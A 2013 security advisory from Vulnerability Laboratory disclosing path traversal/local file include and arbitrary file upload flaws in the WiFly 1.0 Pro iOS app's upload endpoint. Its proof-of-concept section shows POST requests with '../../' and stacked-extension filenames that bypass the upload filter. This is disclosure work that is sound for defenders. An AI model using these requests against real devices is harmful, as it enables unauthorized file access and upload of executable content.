WiFly 1.0 Pro Local File Inclusion / Shell Upload

`Title:  
======  
WiFly 1.0 Pro iOS - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2013-07-15  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=1011  
  
  
VL-ID:  
=====  
1011  
  
  
Common Vulnerability Scoring System:  
====================================  
6.3  
  
  
Introduction:  
=============  
It is the best solution for transferring photos, songs, documents, movies and other files between computer   
and your mobile devices over wireless network. Simply launch application on your iOS device and scan QR   
code from http://wifly.me to connect your phone. Drop your files into opened page and vice versa!  
No cloud or internet access required - no data leaves your local network. Both your devices must have access   
to the same LAN or WLAN - no additional network configurations needed. Transferred documents can be opened with   
any supported App on your iOS device.  
  
Capabilities:   
- Multiple uploads   
- Easily Drag & Drop multiple files to WiFly   
- Preview pictures in the browser  
- Downloading the entire folder to your computer   
- Browsing files and folders directly on mobile device   
- Exchange files between mobile devices  
- Built in preview of images, documents, music and video files  
  
(Copy of the Homepage: https://itunes.apple.com/us/app/wifly-pro/id641092695 )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).  
  
  
Report-Timeline:  
================  
2013-07-15: Public Disclosure (Vulnerability Laboratory)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Apple AppStore  
Product: WiFly Pro 1.0  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A local file include and arbitrary file upload web vulnerability is detected in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).  
  
The vulnerabilities are located in the file upload module of the web-server (http://localhost:4885/) when processing   
to request via POST a manipulated filename. The injected file will be accessable via the index listing module of the application.   
  
Remote attackers can exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter process.   
After the upload the attacker access the file with one extension and exchange it with the other one to execute for example php, js, html codes.  
  
The filter in the application itself disallow to rename a file with special chars because of a input field restriction. Attackers need to request   
2 different urls. First the file as url with a parameter of the filename inside to display and as secound step the file will be uploaded with   
the manipulated filename in the POST request.  
  
Exploitation of the vulnerability requires no user interaction but the victim iOS device needs to accept the other device connection.  
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.  
  
Vulnerable Application(s):  
[+] WiFly Pro 1.0 - ITunes or AppStore (Apple)  
  
Vulnerable Module(s):  
[+] Upload  
  
Vulnerable File(s):  
[+] upload.json & add  
  
Vulnerable Parameter(s):  
[+] filename  
  
Affected Module(s):  
[+] Index Listing (http://localhost:4885/)  
  
  
Proof of Concept:  
=================  
The local file/path include and arbitrary file upload vulnerability can be exploited by remote attackers without user interaction   
but the connection needs to be accepted by the target system. For demonstration or reproduce ...  
  
Standard Request:  
Content-Disposition: form-data; name="files[]"; filename="s2.png"\r\nContent-Type: image/png\r\n\r\n?PNG\r\n\n  
  
Status: 200   
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&last_modified=1331091664536000&name=new-image23.png&sessionid=1373658611109   
Load Flags[LOAD_BYPASS_CACHE ] Content Size[118] Mime Type[application/x-unknown-content-type]  
  
  
  
PoC: 1.1 - File/Path Include Vulnerability  
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&  
last_modified=1331091664536000&name=../../[File/Path Include Vulnerability!].png&sessionid=1373658611109   
POST_DATA[-----------------------------27213192708057  
Content-Disposition: form-data; name="files[]"; filename="../../[File/Path Include Vulnerability!]"  
Content-Type: image/png  
  
  
PoC: 1.2 - Arbitrary File Upload Vulnerability  
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&  
last_modified=1331091664536000&name=[Arbitrary File Upload Vulnerability!].png.gif.html.php.js&sessionid=1373658611109   
POST_DATA[-----------------------------27213192708057  
Content-Disposition: form-data; name="files[]"; filename="[Arbitrary File Upload Vulnerability!].png.gif.html.php.js"  
Content-Type: image/png  
  
  
Solution:  
=========  
The vulnerability can be patched by a restriction of the json upload request and url parameter.  
The POST request when processing to upload needs to be restricted, encoded and filtered.  
  
  
Risk:  
=====  
The security risk of the local file/path include & arbitrary file upload vulnerability is estimated as high.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
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